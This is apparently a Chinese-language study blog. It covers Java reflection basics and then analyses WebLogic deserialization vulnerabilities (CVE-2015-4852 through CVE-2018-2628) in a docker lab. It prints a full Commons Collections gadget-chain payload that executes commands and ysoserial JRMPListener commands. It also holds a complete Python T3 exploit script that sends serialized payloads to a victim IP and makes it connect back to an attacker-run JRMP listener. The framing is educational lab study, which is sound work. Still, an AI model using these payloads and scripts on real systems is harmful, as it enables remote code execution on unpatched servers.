
JAVA基础学个基础先
java的面向对象编程或许可以类比为一个
struct我们以一个手机为例,手机作为整体即是一个对象
1
public class phone{}
而手机所具有的特点即是其属性
1
2
3
4public class phone{
public String name;
public double weight;
}而为了使“手机”这个概念具象化,即由存于定义变为实际存在,我们需要构造器
1
2
3
4
5
6
7
8
9public class phone{
public String name;
public double weight;
public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
this.name=name;
this.weight=weight;
}
}再随意写入一个函数
1
2
3
4
5
6
7
8
9
10
11
12
13package test1;
public class phone{
public String name;
public double weight;
public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
this.name=name;
this.weight=weight;
}
public void start(){
System.out.println("Power on");
}
}如此就完成了一个对象的定义,现在需要创建该对象,或者说,实例化这个类
1
2
3
4
5public class test{
public static void main(String[] args){
phone p=new phone();//new一个名为p,类型为phone的对象
}
}java反射机制正射
通常来说,我们在实例化一个类时,我们需要知道其类型
phone,才能写出实例化代码1
phone p=phone();
反射
顾名思义,我们可以借助函数来得到对象
p的类phone,再用函数进一步操作类的私有属性获取类
.getclass()如果上文中存在所需类的某个实例
p,那么可以调用p.getClass()来获取其的类.class调用类的
class属性可获取该类对应的对象,即使用phone.class.forname()使用了
class类中的静态方法1
2
3
4phone p=new phone();
Class class1=p.getClass();
Class class2=phone.class;
Class class3=Class.forName("phone");//所填的是类所在包名.类名,但这里没有放到包里,所以只写了类名
类的函数
获取想要操作的类的
Class对象class1后,通过Class类的函数可以查看该类的信息并进行操作实例化对象
Object获取1
2
3
4Object p1=class1.newInstance();
//或者
Constuctor cons=class1.getConstructor();
Object p2=cons.newInstancec();两者区别在于,后者可以用来调用含参数的构造器。
newInstance函数需要类中存在无参构造器,当不存在时,只能用后者1
2Constructor cons=class1.getConstructor(String.class,double.class);
Object p2=cons.newInstance(value1,value2);//value1,2即是赋给p2的两个属性的值类的构造器
Constructor获取1
2
3
4
5
6
7
8//获取public构造器
Constructor cons=class1.getConstructor();//当然,这里也可以获取含参数构造器
//获取全部public构造器
Constructor[] cons=class1.getConstructors();//构造器可能不止一个,所以用数组
//获取public与private类型的构造器
Constructor cons=class1.getDeclaredConstructor();
//获取全部构造器
Constructor[] cons=class1.getDeclaredConstructors();
获取属性
field1
2
3
4
5//同上,获取的是public/全部属性
Field f=class1.getField("name");
Field f2=class1.getDeclaredField("name");
Field[] f3=class1.getFields();
Field[] f4=class1.geDeclaredFields();
获取方法
Methods1
2
3//继续同上
Method m=class1.getMethod("setName", String.class); //两个参数,后面要传入的是方法形参的类型的原型,无参函数就不用填
//剩下的略
Runtime类java中的一个系统类,通常写作java.lang.Runtime,其封装了应用程序运行时的环境,但我们只需要关注其中最重要的那个:1
exec(String cmd); //在单独的进程中执行指定的命令或程序。
这个明显可以用来命令执行,利用反射弹个
calc:1
2
3
4
5
6Class p = Class.forName("java.lang.Runtime");//定义一个类与系统类 runtime 相同的类p,那么对于runtime可执行的函数,p也可执行。相当于复制一个 java.lang.runtime 为 p
Constructor constructor = p.getDeclaredConstructor(); // 调用系统类里定义的一个私有构造器
constructor.setAccessible(true); // 修改构造器作用域,使外面可以访问到
Method m = p.getMethod("exec", String.class); // 获取exec方法
Object o = constructor.newInstance(); //弄一个与系统类相同的对象出来,方便后面
m.invoke(o, "calc"); // 调用exec方法,执行calc命令
基于反射的
invoke方法对于一般的对象
A,我们常使用A.getA()来调用其getA()方法而
invoke采取一种新的调用方式:构建一个
Method对象methodA,给其所需要的对象和参数以用其代替你要使用的方法也就是说,在未知条件下,可以调用替代任何方法并根据条件决定调用对象和方法
注解与元注解
注解用于对程序代码说明,但不同于注释的是,其能向编译器提供关于程序代码的附加信息,可在编译运行时被读取或使用,以及可以影响编译器的行为。
其可以用于类,方法,字段等元素上,例:
1
2
3
4
public void oldMethod{
...
}标记了一个过时的方法,在接下来的代码中,若有使用
oldMethod的代码,编译器会给出警告1
2
3
4
public void someMethod() {
...
}使编译器不给出警告信息
元注解则是注解的注解,以马上要用到的
@Target为例,其用于指定注解可以应用的元素类型(方法/类/等)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public MyAnnotation{
//关于类型为注解,名称为 MyAnnotation 的注解的定义,其被Target限制为只能注解 Method
}
public MyClassAnnotation{
//类型为注解,名称为 MyClassAnnotation 的注解,其被 Target 限制为只能注解 class
}
public class myclass{
public void MyMethod{
...
}
}语法糖
当注解中只有一个成员变量,并且该成员名称为
value时,可以用value语法糖简化注解使用:1
2
3
4
5
6
7public MyAnnotation{
string value();
}
public class MyClass{
...
}自定义注解
MyAnnotation中只有value一个成员变量,使用语法糖能直接在使用注解提供值,即使用该注解时将hello作为值传给value成员变量再看一个跟这个题目有关的:
1
2
3
4
5
6
7
8
public Target {
ElementType[] value() default {};
}
public MyAnnotation {
...
}第一个
Target规定了第二个Target能注解的变量类型,且其存在名为value的数组中第二段语句
Target的参数即在value中,规定了MyAnnotation只能注解Element.TYPE和Element.FIELD
CVE-2015-4852漏洞浅析环境搭建
docker笔者使用的是
Ubutun+docker。在vulhub/weblogic下新建一个名为CVE-2015-4852的文件夹方便操作,然后写入以下配置文件docker-compose.yml
1
2
3
4
5
6
7version: '2'
services:
weblogic:
build: .
ports:
- "7001:7001"
- "8453:8453"DockerFile
1
2
3
4
5
6
7
8from vulhub/weblogic:10.3.6.0-2017
ENV debugFlag true
EXPOSE 7001
EXPOSE 8453
CMD ["/bin/sh","-c","while true;do echo 1;sleep 10;done"]
随后更新
docker-compose up -d,用docker exec -it [docker_id] bash进入docker目录修改~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
在其前方加入
1
2debugFlag="true"
export debugFlag随后重启容器,并把容器目录下的
root复制出来1
docker cp [docker_id]:/root [your_path]
后传到你的主机上
idea用
idea打开/root/Oracle/Middleware/wlserver_10.3然后去
Project structure-Libraries添加/server/modules文件夹以及/wlserver_10.3/server/lib/weblogic.jar以进行反编译
再去
Project structure-Projectjdk选择刚刚拷出来的jdk
然后去右上角
add Configuration加入remote服务器,如果刚刚配置的时候没有改调试端口的话这里是8453
最后去
/wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class的第129行下断点,运行debug
访问网站
http://127.0.0.1:7001/wls-wsat/CoordinatorPortType看看是否被断下

利用链分析
前言
反序列化攻击的实现,往往需要将
payload构造为多层的exp进入服务端的readobject函数,其会反序列化恢复构造的exp来生成exp',在接下来的流程中存在可以执行exp'类的方法,不断处理得到最终的payload,最后其进入可执行任意命令的函数也就是说,我们需要构造以下:
- 朴素的
payload,即需要服务器执行的代码 - 一条反序列化链,沿着这条链可以逐渐解码包裹起来的
payload readObject重写点,即服务器端存在的,与漏洞链相连接的且可以从外部访问到的一个方法
- 朴素的
反序列化链构造
将其细分为 $3$ 段,从 $1-3$ 的顺序构造,服务端从 $3-1$ 进行执行。
段 $1$
我们最终的目的是命令执行,即调用
exec()函数这里主要使用的是
InvokerTransformer类及其transform方法

注意到
transform方法会用反射机制调用输入的input的method函数,而Invokertransform类的三个参数全部可由输入控制所以只要控制
transform方法的input变量是一个Runtime的Class实例,就可以成功调用即执行了Runtime.getRuntime().exec("calc");写一个实验如下:
1
2
3
4
5
6
7
8import org.apache.commons.collections4.functors.InvokerTransformer;
public class InvokerTransformerTest{
public static void main(String[] args){
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});//变量赋值
InvokerTransformer.transform(Runtime.getRuntime());//得到runtime类
}
}对于新学
java的这里有一点要注意的,如果是 ${vscode}$ 的话,这个外部库去apache下载后,用extentsion pack for java,然后在JAVA PROJECT下面的Referenced Libraries添加下载的库。注意引入库的版本要和下载的对应
但不幸的是,
CC里面并不能直接使用InvokerTransformer.transform,也就是说得不到RunTime类,那么现在需要找到利用链的上一级,其需要调用该方法这里就需要
ChainedTransformer


CC4(上) 可能和网上常见的CC3(下) 不太一样,但理解成正常for循环和用auto的循环就行这个类以一个
Transformer数组为变量,其transform方法是对每个Transformer调用其自己的transform方法但注意最开始传入的参数
object会被其迭代,这对链的构造十分有利现在我们解决的
transform方法的问题,getRunTime可以由RunTime类获取。回顾我们需要构造的链Runtime.getRuntime().exec("calc");。只要获取到RunTime类就可以完成段 $1$ 的构造但是
RunTime对象不能像普通对象一样直接声明,那么就需要性质很好的ConstantTransformer

其
transform方法返回值都是iConstant。那么只要让一个
RunTime类为iConstant即可得到RunTime类,再结合刚刚的ChainedTransformer就可以获取到链的第一截RunTime,然后去InvokerTransformer的transform方法调用getMethod()得到第二截getRunTime(),最后再用其调用exec()即能得到整条链由于
ChainedTransformer参数object的优秀迭代机制,只需要让另外几个以此放在Transform[]类数组里面即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
public class test_part1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain=new ChainedTransformer(transformers_exec);
chain.transform(1);
}
}如此就成功构造出了链的第一部分
Runtime.getRuntime.exec("calc")回顾一下调用栈
1
2
3
4
5
6
7
8
9
10
11ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()那么我们现在只需要找到一处调用了
ConstantTransformer.transform的地方即可。由于其所需参数任意,所以这里分为第一段段 $2$
一般来说是找不到严格相同的
ConstantTransformer.transform,但我们退而求其次,找xxx.transform方法,且xxx可被赋值为ConstantTransformer类型对象根据资料,这里有两条路可以走:
TransformedMap与LazyMap,但顾名思义,我懒,所以没有LazyMap的笔记


其中这三个函数调用了其
transform方法,也就是构造valueTransformer或keyTransformer为刚刚构造的ChainedTransformer类型对象,然后触发这三个函数来触发trnsform方法即可。需要分两步:先赋值,再调用但实际上只能让
valueTransformer为反序列化构造链,因为只有其在后面能被调用到,但这是过会要考虑的问题但这几个方法都是
protected,也就是无法从外部访问。那么考虑找public类型入手:transformedMap类型:
transformingMap方法则是可以调用构造函数赋值内部参数
如果是
CC3版本的话,这里是decorate方法
可以发现构造方法
transformingMap需要满足的条件是第一个参数是Map类型,那么随便建一个map就行,如此就赋值成功了1
2
3HashMap tmpMap=new HashMap();
tmpMap.put("nothinghere","qwq");
Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);//chain即是上面构造的 ChainedTransformer中途可以验证一下
找到一个性质很好的
put方法,其可以从外部访问且能调用上面三个隐私函数之一的transformKey。
由
transformKey可知,只要参数KeyTransformer不为空即可调用transform方法,那么随便传几个进去试试:1
ChainMap.put("justfor","test");
成功调出计算器,也就是赋值操作是没问题的,
那么接下来考虑如何让系统自动触发
Map类型中valueTransformer参数transform方法(即刚刚构造的链条所在位置),即调用valueTransformer.transform(),显然这里的参数无关紧要所以最后要落脚到一个读入数据后主动触发的类,即
ReadObject类先搜索找到调用函数
checkSetValue:
点进去看下谁能调用它:

到其父类
AbstractInputCheckedMapDecorator中也就是现在需要一个
Map.entry类且需要调用Map.entry.setValue()参数依旧不重要还是经典的赋值+调用
先看赋值,要将原来的
TransformedMap类转为Map.Entry类而
TransformedMap也是Map,Map.entry是一个键对值<key,value>的集合也就是从
Map中提取键对值的方法用在TransformedMap上,并将其赋值给Map.entry即可,顺便手动调用一下SetValue方法试一下1
2Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
entry.setValue("qwq");在这里分个段清晰一些,回顾一下反序列化链;
1
2
3
4
5
6
7
8
9
10
11
12
13Map.entry.setValue()
TransformedMap.put()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()段 $3$
在开始前,确保版本为
jdk1.6因为这里使用
AnnotationInvocationHandler类来解决调用函数的问题,其在jdk1.8被重写了它在
JRE System Library-rt.jar-sun.reflect.annotation.AnnotationInvocationHandler里

观察到
var5存在setvalue()方法的调用,恰巧的是,其构造过程与上面的entry一模一样:1
2Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
var5=this.memberValue.entrySet().iterator().next();那么
payload转而写成:1
2
3
4
5//Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next(); 已经不需要这个了
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);//反射机制调用AnnotationInvocationHandler类的构造函数
ctor.setAccessible(true);//取消构造函数修饰符限制
Object instance = ctor.newInstance(Target.class, ChainMap);//获取AnnotationInvocationHandler类实例而前面定义的
memberValues恰好是map类型,将其赋值成transformedMap即可满足var5即是entry但想进到判断里还需要满足几个条件:
transformedMap非空:var4.hasNext()检查了memberValues的EntrySet的迭代器var7!=null:var7的生成过程比较复杂,上面已经标出来了这里需要注意的是
var2的生成过程AnnotationType.getInstance(this.type),this.type即是上面传进去的Target.class而
var7非空是很难构造的。而这个涉及到java的注解与value语法糖,最上面有写,跳到上面看一下再回来1
var2 = AnnotationType.getInstance(this.type);
getInstance得到我们传进去的注解的基本信息,这里就以传进去了Target.class为例:1
Map var3 = var2.memberTypes();
memberType得到注解中的成员变量,其返回值为Map类型,键为成员变量名称,值为成员变量类型这个时候选择传入
this.type为Target.class的原因就能看出来了:看java.lang.annotation.Target的定义:1
2
3
4
5
6//会被写入javadoc文档
//生命周期时运行时
//标明注解可以用于注解声明(应用于另一个注解上)
public Target {
ElementType[] value();//value语法糖
}也就是说,对于
Target注解,其成员变量名称总为value那么
var3即为键值对<value,[ElementType]>1
Class var7 = (Class)var3.get(var6);
这时候再来看
var7的生成式,只需要满足var6中有Map的键为value,值任意即可对
var6的来源回溯上去,即是让tmpmap中存有键为value即可就是将
1
2HashMap tmpMap=new HashMap();
tmpMap.put("nothinghere","qwq");改为
1
2HashMap tmpMap=new HashMap();
tmpMap.put("value","qwq");至此利用链完毕,回顾一下整条链子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14AnnotationInvocationHandler.readObject()
Map.entry.setValue()
TransformedMap.put()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()payload为1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections4.Transformer;
public class test_part1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
// chain.transform(1);
HashMap tmpMap=new HashMap();
tmpMap.put("value","qwq");
Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);
// ChainMap.put("justfor","test");
// Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
// entry.setValue("qwq");
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, ChainMap);
}
}
上传
可以加上这段代码在本地模拟上传试一下:
1
2
3
4
5
6
7
8
9
10
11//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
//服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();T3协议分析
用
python模拟握手包的发包,wireshark抓一下,追踪TCP流1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import socket
def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "192.168.19.131"
port = 7001
T3Test(ip,port)
再看一下网上的资料,握手包结束后是序列化的
java数据流
前面提到过
aced 0005是序列化的标志,那么为了执行payload,抓下协议包,将数据改为构造的payload即可
CVE-2016-0638浅析原理
在上一个漏洞爆出后,
Oracle对weblogic发布了补丁,将以下 $5$ 个函数加入黑名单:1
2
3
4
5
6org.apache.commons.collections.functors*
com.sun.org.apache.xalan.internal.xsltc.trax*
javassist*
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure并且在
CVE-2015-4852中三个反序列化的地方进行了黑名单判定:1
2
3weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class而
CVE-2015-4852段 $3$ 用到的AnnotationInvocationHandler类通过InboundMsgAbbrev#readObject反序列化时会调用到ServerChannelInputStream#resolveClass,也就是黑名单的检测所在的位置如图,在
wlserver.server.lib.wlthint3client.jar.weblogic.rjvm.inboundMsgAbbrev中:
这里的思路是:找到一个类将恶意链包裹起来(二次序列化)以通过黑名单检测,随后再将其解开(黑名单检测后的反序列化),再执行恶意链(该类自己的readobject方法二次反序列化)
也就是
wlserver.server.lib.wlthint3client.jar.weblogic.jms.common.StreamMessageImpl类以及其中的External()方法
该方法执行时,反序列化传入的参数并调用参数反序列化后对应类的
readObject方法使用该类的具体原理是:对于原本构造好、需要反序列化来执行的链子,封装进
StreamMessageImpl并对其序列化。反序列化时该类不在黑名单中所以不被过滤,其调用readObject方法时对之前封装的链子再次反序列化测试
用 weblogic_cmd 来测试一下:
扔到
idea里面,配置一下:
应用实参这一行参数可以自己改,
-C后面即是payload由于版本问题,这里用
jdk1.8启动,需要额外配置两个库的位置:

直接断点在
StreamMessageImpl.readExternal:

看眼
var4显然是反序列化的数据
继续跟踪
var5的readObject就能回到熟悉的AnnotationInvocationHandler了
CVE-2016-3510具体原理与上一个一样,只不过这个利用了
weblogic.corba.utils.MarshalledObject类而非StreamMessageImpl来封装链子以绕过黑名单检测调试
还是使用刚刚的
weblogic_cmd,Main这里把Type改成marshall
调试看一下构造过程:


在这里用熟悉的
CC链构造payload,传给serialData,而blindExecutePayloadTransformerChain主要是返回利用链的Transform[]数组内容,所以跟踪serialData
前面还是经典的
Lazy序列化,重点是断点这一行
到
MarshalleObject看下:
var3是一个new的MarshalledObject.MarshalledObjectOutputStream对象:
而这个对象继承了
ObjectOutputStream对象,还调用了父类的构造器super再继续看
MarshalledObject
var1是恶意构造的AnnotationInvocationHandler对象,将其序列化后写入ByteArrayOutputStream对象的var2中,又被写给MarshelledObject对象的this.objBytes中 ,然后对其序列化操作
CVE-2017-3248随着时间推移,
weblogic系列漏洞似乎正在向底层延伸。快进到发展到二进制层面然后彻底学不会原理
不同于上面两种利用其他类恶意链“加壳”的方式绕过黑名单检测,这里找到了一条不在黑名单内的全新反序列化点,利用
JRMP协议执行反序列化JRMP与RMI简述RMI远程方法调用,可以让在某个java虚拟机上的对象像调用本地对象一样调用另一java虚拟机上对象整个过程简述为:客户对象(client)调用客户端辅助对象(stub)上的方法,辅助对象打包变量与方法名发送给服务端辅助对象(skeleton),解包后找到真正的调用对象(server)并调用,得到返回值并原路返回给客户端对象

也就是说,对于客户对象
client来说,其不需知道server的存在,就好像是stub在本地执行了其所需的方法将
stub与skeleton看作是RMIRegister,整个过程中clinet和server与之的参数交流是以序列化字节流的格式传输的,为攻击提供了可能RMI依赖于IP和端口,以及JRMPjava远程信息交换协议,其要求客户端与服务端都使用java对象原理2
利用
RMI让靶机反序列化UnicastRef类,其给恶意服务端发起一个JRMP连接,在DGC层造成一个反序列化,于是可以绕过黑名单过滤
正常情况下在
DGC层,client调用一个远程对象时需要调用server的dirty()函数,此函数给client返回一个lease而在攻击情况下,靶机向攻击者架设的
JRMP Server发起dirty()请求,而此时返回的是序列化后的数据,靶机接收后执行反序列化进而触发漏洞而构造的数据和前几个没什么区别
工具的原理
配置参数如下

JRMPListener,即上图中的JRMP Server其负责对发起
DGC请求的RMI Register返回一个恶意对象供其反序列化
跟进
makePayloadObject

这里一步步跟过去就会发现用的反序列化链子跟
cve-2015-4852一模一样
随后会进入
run()函数持续监听
如果接到了类型为
DGC的请求,则发送payload
JRMPClient,即上图的attacker负责让靶机向
JRMP Listener发起DGC请求
复现
照例
docker启动靶机然后用
ysoserial启动一个JRMP Listener1
java -cp [path-to-ysoserial] ysoserial.exploit.JRMPListener [JRMP port] CommonsCollections1 '[command]'

再用
python2运行一个脚本,其利用ysoserial的JRMP Client模块生成一个gadgets对象,被靶机反序列化后会连接刚架设的JRMP Listener1
python 1.py [docker-ip] [docker-port] [path-to-ysoserial] [JRMPListener-ip] [JRMPListener-port] JRMPClient
值得注意的是,两个脚本可以不在同一台机器上运行,但要保证
py脚本所在虚拟机也有一个ysoserial以便生成payload。这里省事将两个脚本放在同一目录下方便访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr): #T3协议连接,在2015-4852有写到
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)再回来看
JRMP Listener的监听

调试
版本没调对,调试好几次没东西,放篇文章在这里膜一膜再说
CVE-2018-2628补丁分析
1
2
3
4
5
6
7
8
9
10
11
12
13protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}其出现于
